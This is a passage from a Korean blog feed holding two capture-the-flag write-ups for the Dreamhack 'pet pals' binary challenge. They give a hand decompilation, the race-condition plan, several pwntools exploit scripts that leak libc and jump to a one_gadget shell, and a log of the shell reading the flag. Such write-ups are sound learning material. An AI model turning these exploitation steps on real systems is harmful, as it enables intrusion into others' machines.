data-og-image=&quot;https://scrap.kakaocdn.net/dn/hskaz/dJMb81HdXIZ/dMZmZhEZZmKuL1DitWMtnk/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/baoIjk/dJMb9lMrE9Y/PH1x5sfcpnALS4xHzVpGcK/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/6PD7d/dJMb86Ph85v/fKFljrsdSSkLlSc0S4KjBk/img.png?width=400&amp;amp;height=400&amp;amp;face=0_0_400_400&quot;&gt;&lt;a href=&quot;https://code-learn-ing.tistory.com/37&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://code-learn-ing.tistory.com/37&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/hskaz/dJMb81HdXIZ/dMZmZhEZZmKuL1DitWMtnk/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/baoIjk/dJMb9lMrE9Y/PH1x5sfcpnALS4xHzVpGcK/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/6PD7d/dJMb86Ph85v/fKFljrsdSSkLlSc0S4KjBk/img.png?width=400&amp;amp;height=400&amp;amp;face=0_0_400_400');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;[Dreamhack][시스템해킹] pet pals&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;[문제 링크](https://dreamhack.io/wargame/challenges/1080) 문제는 dockerfile과 binary파일이 존재한다. 1. 분석gdb로 보면, main함수를 알수가 없다. 따라서, __libc_start_main에 breakpoint를 걸고, 실제 메모리를 얻어 디&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;code-learn-ing.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때, 로컬 파일 및 도커에서는 실행이 된 상태였고, 드림핵 익스만 실패한 상태였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;글 쓰고 왜 안될까 하고 보다가 설마 하고 본 부분이 해결점이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 원인 분석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 안되는 부분을 설명해보겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안되던 부분은, race condition으로 overwrite를 한 상태에서 3을 눌렀을때 &quot;hamster name: &quot;까지만 뜨고 그 이후 값을 입력하지 못하고 접속이 종료되는 문제였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 생각해보니, read함수에서 터지는 것 같았다. read함수를 보면&lt;/p&gt;
&lt;pre id=&quot;code_1786770942720&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;read(0, a+8, *(long*)(a+0x18)-1)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전에 다른 문제에서 본적이 있는데, read(fd, buf, count)에서 count가 음수일때 비슷한 문제가 생겼었다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이말인 즉, count부분이 문제인 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 코드에서는 이 부분이 overwrite이후 0x7e7e7e7e7e7e7e00으로 되어있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 부분을 0x100으로 변경해보고 실행을 시켜보았다. 코드는 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 풀이&lt;/h3&gt;
&lt;pre id=&quot;code_1786771093604&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *
import time

p = remote(&quot;host3.dreamhack.games&quot;, 15081)


p.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;1&quot;)
p.sendlineafter(b&quot;type: &quot;, b&quot;dog&quot;)
p.sendafter(b&quot;name: &quot;, b&quot;\x66&quot;*0x10 + p64(0x100))

p.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;2&quot;)
start_time = time.time()
p.sendlineafter(b&quot;sent&quot;, b&quot;1&quot;)


sleep_time = 4 + 0.08 - (time.time() - start_time)
print(f'sleep for {sleep_time}')
time.sleep(sleep_time)


p.send(b&quot;hamster\n&quot; + b'\x7e'*9)
print(time.time() - start_time)
time.sleep(2)
p.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;3&quot;)
time.sleep(1)
p.sendafter(b&quot;name: &quot;, b&quot;a&quot;*0x40)

print(2)
p.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;2&quot;)
p.recvuntil(b&quot;sent &quot;)
p.recv(0x40)
libc_call_main = u64(p.recv(6) + b'\x00'*2)
libc_base = (libc_call_main - 0x0000000000029d90)

one_gadget_Real = libc_base + 0xebd43

time.sleep(5)

p.send(b&quot;hamster\n&quot; + b'\x7e'*9)
print(3)
p.sendline(b&quot;3&quot;)
p.sendafter(b&quot;name: &quot;, b&quot;a&quot;*(0x40-8) + p64(libc_base) + p64(one_gadget_Real))

# p.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;4&quot;)

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;변경이후에는 두번째 3이 실행되지 않았다. 생각을 해보니 b'a'*0x40으로 0x6161616161616161이 count에 들어갈 것이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때문에 앞에 있던 count를 0x100으로 하는 코드를 복사해왔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1786771186489&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *
import time

p = remote(&quot;host3.dreamhack.games&quot;, 15081)


p.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;1&quot;)
p.sendlineafter(b&quot;type: &quot;, b&quot;dog&quot;)
p.sendafter(b&quot;name: &quot;, b&quot;\x66&quot;*0x10 + p64(0x100))

p.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;2&quot;)
start_time = time.time()
p.sendlineafter(b&quot;sent&quot;, b&quot;1&quot;)


sleep_time = 4 + 0.08 - (time.time() - start_time)
print(f'sleep for {sleep_time}')
time.sleep(sleep_time)


p.send(b&quot;hamster\n&quot; + b'\x7e'*9)
print(time.time() - start_time)
time.sleep(2)
p.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;3&quot;)
time.sleep(1)
p.sendafter(b&quot;name: &quot;, b&quot;a&quot;*0x40)

print(2)
p.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;2&quot;)
p.recvuntil(b&quot;sent &quot;)
p.recv(0x40)
libc_call_main = u64(p.recv(6) + b'\x00'*2)
libc_base = (libc_call_main - 0x0000000000029d90)

one_gadget_Real = libc_base + 0xebd43

time.sleep(5)

p.sendline(b&quot;1&quot;)
p.sendlineafter(b&quot;type: &quot;, b&quot;dog&quot;)
p.sendafter(b&quot;name: &quot;, b&quot;\x66&quot;*0x10 + p64(0x100))

p.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;2&quot;)
start_time = time.time()
p.sendlineafter(b&quot;sent&quot;, b&quot;1&quot;)


sleep_time = 4 + 0.08 - (time.time() - start_time)
print(f'sleep for {sleep_time}')
time.sleep(sleep_time)


p.send(b&quot;hamster\n&quot; + b'\x7e'*9)
print(3)
p.sendline(b&quot;3&quot;)
p.sendafter(b&quot;name: &quot;, b&quot;a&quot;*(0x40-8) + p64(libc_base) + p64(one_gadget_Real))

# p.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;4&quot;)

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 하니,&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1786771326085&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ python exploit.py 
[+] Opening connection to host3.dreamhack.games on port 15081: Done
sleep for 3.901089744567871
4.080292463302612
2
sleep for 3.9019473361968995
3
[*] Switching to interactive mode
ffffffffffffffff is returned from the walk and is satisfied!  
hamster name: 
1. create/update an animal
2. walk with the animal
3. rename the animal
4. quit
&amp;gt; $ 4

&amp;gt; $ ls
flag
petpals
$ pwd
/home/petpals
$ whoami
petpals
$ cat flag
DH{----------------------------------------------------------------}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;잘 실행되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;허나 이 코드는 불필요한 작업을 또 한다. 처음부터 그냥 해당 부분은 0x100으로 초기화해두면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 다음 코드를 시도해봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1786771791943&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *
import time

p = remote(&quot;host3.dreamhack.games&quot;, 9707)


p.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;1&quot;)
p.sendlineafter(b&quot;type: &quot;, b&quot;dog&quot;)
p.sendafter(b&quot;name: &quot;, b&quot;\x66&quot;*0x10 + p64(0x100))

p.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;2&quot;)
start_time = time.time()
p.sendlineafter(b&quot;sent&quot;, b&quot;1&quot;)


sleep_time = 4 + 0.08 - (time.time() - start_time)
print(f'sleep for {sleep_time}')
time.sleep(sleep_time)


p.send(b&quot;hamster\n&quot; + b'\x7e'*9)
print(time.time() - start_time)
time.sleep(2)
p.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;3&quot;)
time.sleep(1)
p.sendafter(b&quot;name: &quot;, b&quot;a&quot;*0x10 + p64(0x100) + b'a' * (0x40 -0x18))

print(2)
p.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;2&quot;)

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 이부분에서 문제가 생겼다. printf %s 에서 a*0x40까지 출력하고 이후 null byte를 만날때까지 출력하게 하여 libc_base를 얻을 겸, count 부분도 0x100까지 하는 전략이었지만, %s에서 p64(0x100)의 \x00이후로 출력하지 않으니 이 방법은 사용할 수 없는 방법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때문에 기존 코드가 내 최선의 코드이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 의문&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;read함수 count에서 로컬과 도커에서는 잘 실행되었었다. 허나 dreamhack 서버에서는 잘 실행되지 않았다. 너무 큰수가 read하는데 문제가 될수 있다는 것은 이해할 수 있다. 다만, 문제가 될거였으면 도커와 로컬에서도 문제가 생겼어야하는데 드림핵에서만 문제가 된 것이 의문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;AI에게 물어봤을때는 프로세스에서 사용할 수 있는 범위를 넘어가서 그런거라고는 하는데 인공지능도 확신이 아닌 가설의 형식으로 말했기 때문에 정확한 답이 있으면 좋을 것 같으나 현재로써는 알 방법이 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 의의&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제를 푸는데 약 3주정도 걸렸다. 실제 풀이에 쓴 기간만 쓰면 2주정도일 것이다. 현재 군환경이기에 많은 제약이 있어 github codespace를 사용하는데 사용량을 다 써 몇일간 문제 푸는지 사용하지 못했고, 사이에 휴가도 다녀왔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;휴가 다녀와서 처음부터 차근 차근 생각해보니 풀린것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;race condition 문제를 처음 봤고, 사실 파일에서 도커 파일을 제공하는데 드림핵 서버에서도 같은 오프셋을 적용해도 되는지 몰라 다른 방법을 찾는데 쓴 시간도 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금껏 푼 드림핵 골드 4 문제를 보면, format string bug, tcache poisoning, tcache_dup2은 드림핵 시스템해킹 과정을 보며 푼 문제이고, dreamvm은 ai의 도움을 받았다. 내 힘으로 처음부터 푼 것은 string과 이번에 푼 pet pals이다. string은 누가봐도 fsb문제였고 fsb를 어떻게 일으키는지를 기억하는지에 오래 시간을 썼다면, 이번엔 서버환경과 로컬환경에서의 차이를 극복하는게 오래걸렸다. 그 차이를 극복하기 위해 원인 분석을 하고 방향을 좁혀간 과정에서 좀더 성장한 것 같다. 그래도 오랜 기간 풀고 나니 dreamvm을 풀며 내가 많이 부족하다고 느낀 것에 대하는 나름의 자신감이 생겼다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만, 휴가 끝나고 코드를 보려 하니, 익스 코드를 다시 보며 이해해야 했기에 주석의 중요성을 한번 더 느낀 것 같다. 앞으로 익스플로잇 코드를 작성할때는 각 과정이 무엇을 위한 것인지 최대한 남겨두도록 해야할 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모르는게 정말 많다고 느끼고 있고, 전에 공부했다고 생각했던 힙쪽도 기억이 제대로 나지 않는 것을 보니, 그때 제대로 공부를 안했던 모양이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 문제는 힙 관련 문제로 풀어봐야 겠다.&amp;nbsp;&lt;/p&gt;</description>
      <category>보안/시스템해킹</category>
      <category>DreamHack</category>
      <category>pet pals</category>
      <category>petpals</category>
      <category>pwnable</category>
      <category>드림핵</category>
      <category>시스템해킹</category>
      <author>playalone</author>
      <guid isPermaLink="true">https://code-learn-ing.tistory.com/38</guid>
      <comments>https://code-learn-ing.tistory.com/38#entry38comment</comments>
      <pubDate>Sat, 15 Aug 2026 14:57:23 +0900</pubDate>
    </item>
    <item>
      <title>[Dreamhack][시스템해킹] pet pals</title>
      <link>https://code-learn-ing.tistory.com/37</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;[문제 링크](&lt;a href=&quot;https://dreamhack.io/wargame/challenges/1080&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://dreamhack.io/wargame/challenges/1080&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제는 dockerfile과 binary파일이 존재한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 분석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;gdb로 보면, main함수를 알수가 없다. 따라서, __libc_start_main에 breakpoint를 걸고, 실제 메모리를 얻어 디스어셈블링해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이는 디스어셈블링한후 수동으로 디컴파일 한 결과이다.&lt;/p&gt;
&lt;pre id=&quot;code_1786618621412&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;main() {
    initialize();
    menu();
    scanf(&quot;%d&quot;, [rbp-0x44]);
    switch([rbp-0x44]) {
        case 1: func1([rbp-0x40]); break;
        case 2: func2([rbp-0x40]); break;
        case 3: func3([rbp-0x40]); break;
        case 4: return 0;
        default: printf(&quot;\n&amp;gt; &quot;);
    }
}

initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

menu() {
    puts(&quot;&quot;)
    puts(&quot;1. create/update an animal&quot;)
    puts(&quot;2. walk with the animal&quot;)
    puts(&quot;3. rename the animal&quot;)
    puts(&quot;4. quit&quot;)
    puts(&quot;&amp;gt; &quot;)
}

animals = {&quot;dog&quot;, &quot;cat&quot;, &quot;hamster&quot;, &quot;lizard&quot;}

func1(a) {
    printf(&quot;animal type: &quot;)
    scanf(&quot;%9s&quot;, [rbp-0x12])
    *[rbp-0x4] = 0

    while(*[rbp-0x4] &amp;lt;= 3) {
        if(strcmp([rbp-0x12], animals[*(rbp-0x4)]) == 0) {
            if(*(int*)[rbp-0x4] != 4) {
                *(int*)[rbp-0x8] = *(int*)[rbp-0x4]
                *(int*)a = *(int*)[rbp-0x8]
                func_0x289(a)
                func_0x36c(a)
                func_0x498(a)
            }
            else {
                exit(1)
            }
        }
        else {
            (*(int*)[rbp-0x4])++
            continue;
        }
    }
    else {
        if(*(int*)[rbp-0x4] != 4) {
            *(int*)[rbp-0x8] = *(int*)[rbp-0x4]
            *(int*)a = *(int*)[rbp-0x8]
            func_0x289(a)
            func_0x36c(a)
            func_0x498(a)
        }
        else {
            exit(1)
        }
    }
}

func2(a) {
    if(*(int*)a &amp;lt;= 3) {
        threadResult = pthread_create([rbp-0x10], 0, func_0x7aa, a)
        *(int*)[rbp-0x4] = threadResult
        if(threadResult &amp;lt;= 0) {
            return;
        }
        else {
            puts(&quot;pthread_create() error&quot;)
            exit(1)
        }
    }
    else {
        exit(1)
    }
}

func3(a) {
    func_0x36c(a)
}

func_0x289(a) {
    if(*(int*)a == 3) {
        *(long*)(a+0x18) = 0x10;
        return; 
    }
    if(*(int*)a &amp;gt; 3) {
        exit(1)
    }
    if(*(int*)a == 2) {
        *(long*)(a+0x18) = 0x10;
        return; 
    }
    if(*(int*)a &amp;gt; 3) {
        exit(1)
    }
    if(*(int*)a == 0) {
        *(long*)(a+0x28) = 0x20;
        return; 
    }
    if(*(int*)a == 1) {
        *(long*)(a+0x28) = 0x20;
        return; 
    }
    else {
        exit(1)
    }
}


func_0x36c(a) {
    if(*(int*)a == 3) {
        printf(&quot;lizard name: &quot;)
        func_0x303(a+8, *(long*)(a+0x18)-1)
        return; 
    }
    if(*(int*)a &amp;gt; 3) {
        exit(1)
    }
    if(*(int*)a == 2) {
        printf(&quot;hamster name: &quot;)
        func_0x303(a+8, *(long*)(a+0x18)-1)
        return; 
    }
    if(*(int*)a &amp;gt; 3) {
        exit(1)
    }
    if(*(int*)a == 0) {
        printf(&quot;dog name: &quot;)
        func_0x303(a+8, *(long*)(a+0x28)-1)
        return; 
    }
    if(*(int*)a == 1) {
        printf(&quot;cat name: &quot;)
        func_0x303(a+8, *(long*)(a+0x28)-1)
        return; 
    }
    else {
        exit(1)
    }
}

func_0x303(a,b) {
    readResult = read(0,a,b)
    if(readResult &amp;gt;= 0) {
        if(*(char*)(a+readResult-1) != '\n') {
            return;
        }
        else {
            *(char*)(a+readResult-1) = 0
        }
    }
}

func_0x498(a) {
    if(*(int*)a == 3) {
        *(char*)(a+0x20) = 0x64;
        return; 
    }
    if(*(int*)a &amp;gt; 3) {
        exit(1)
    }
    if(*(int*)a == 2) {
        *(char*)(a+0x20) = 0x64;
        return; 
    }
    if(*(int*)a &amp;gt; 3) {
        exit(1)
    }
    if(*(int*)a == 0) {
        *(short*)(a+0x30) = 0xc8;
        return; 
    }
    if(*(int*)a == 1) {
        *(short*)(a+0x30) = 0xc8;
        return; 
    }
    else {
        exit(1)
    }
}

func_0x7aa(a) {
    printf(&quot;sent %s for a walk.. %s\n&quot;, func_0x5ce(a), icon[*a])
    memcpy([rbp-0x50], a, 0x38)
    usleep(4_000_000)
    func_0x637(a, [rbp-0x50])

    printf(&quot;%s is returned from walk and is satisfied! %s\n&quot;, func_0x5ce(a), icon[*a])
}

func_0x5ce(a) {
    if(*a == 3) {
        return a+8;
    }
    if(*a &amp;gt; 3) {
        exit(1)
    }
    if(*a == 2) {
        return a+8
    }
    if(*a &amp;gt; 2) {
        exit(1)
    }
    if(*a == 0) {
        return a+8
    }
    if(*a == 1) {
        return a+8
    }
    else {
        exit(1)
    }
}

func_0x637(a,b) {
    *(int*)a = *(int*)b
    usleep(94011)
    if(*a == 3) {
        strcpy(a+8, b+8)
        *(long*)(a+0x18) = *(long*)(b+0x18)
        *(char*)(a+0x20) = *(char*)(b+0x20)+1
    }
    if(*a &amp;gt; 3) {
        exit(1)
    }
    if(*a == 2) {
        strcpy(a+8, b+8)
        *(long*)(a+0x18) = *(long*)(b+0x18)
        *(char*)(a+0x20) = *(char*)(b+0x20)+1
    }
    if(*a &amp;gt; 2) {
        exit(1)
    }
    if(*a == 0) {
        strcpy(a+8, b+8)
        *(long*)(a+0x28) = *(long*)(b+0x28)
        *(char*)(a+0x30) = *(char*)(b+0x30)+1
    }
    if(*a == 1) {
        strcpy(a+8, b+8)
        *(long*)(a+0x28) = *(long*)(b+0x28)
        *(char*)(a+0x30) = *(char*)(b+0x30)+1
    }
    else {
        exit(1)
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;checksec은 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1786618663363&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;카나리를 제외하고는 모든 보호기법이 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 코드 흐름&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드의 흐름은 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 1~3까지 사용자에게 입력을 받는다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 1일 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;1) animal을 고를수 있다. dog, cat, hamster, lizard가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;2) 이후, name을 적을 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 2일 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;1) 쓰레드를 열어, 현재 animal관련 정보를 저장해둔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;2) 4초 후 animal 타입을 복구한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;3) &lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;0x16f3b 밀리초 이후 나머지 값을 복구한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;- 3일 경우&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;&amp;nbsp;1) 타입에 맞는 animal의 이름을 바꾼다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;3. 시나리오 구성&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;usleep(4000000)을 하고, animal 타입을 복구하고, 0x16f3b만큼 쉬고 나머지 값을 복구하고 있다. 이부분에서 Race Condition 취약점이 생길수 있다. 과정은 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;1) 1로 animal을 dog로 초기화, name은 '\x7e' * 0x19로 초기화&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;2) 2로 4초간 기다림.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;3) 4초 직후, &lt;span style=&quot;background-color: #ffffff; color: #202020; text-align: start;&quot;&gt;94011us 사이에&lt;span&gt; &lt;/span&gt;&lt;/span&gt;동물 타입을 hamster로 변경&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;4) 그 결과, 동물타입은 hamster인데 name은 복구되어 기존 size를 저장하고 있는 animal+0x18은 0x7e7e7e7e7e7e7e00로 초기화되어있을거란 생각. 이때문에 스택에 작성 가능. 카나리도 존재하지 않음.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;5) 도커가 존재하기에 도커에서 libc의 오프셋을 구해 적용시키면 One Gadget을 실행시켜 execve(&quot;/bin/sh&quot;, rbp-0x50, r12) 실행 가능.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;4. 문제 발생&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;타이밍이 맞지 않는다. 4초 이후 0.09초 정도 적당한 타이밍에 animal type을 바꿔야하는데 타이밍 잡는게 쉽지 않다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;time.time()으로 소요된 시간을 계산하고, time.sleep(4 - 소요된시간)으로 정확한 4초가 소요되게 코드를 수정했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #202020;&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;여기서 또 문제가 생긴다. 도커와 로컬파일로는 실행이 잘되는데 드림핵 서버에 붙일때만 제대로 작동하지 않는다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #202020;&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;그래서 일단 지금까지 작성한 코드를 블로그에 작성한다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
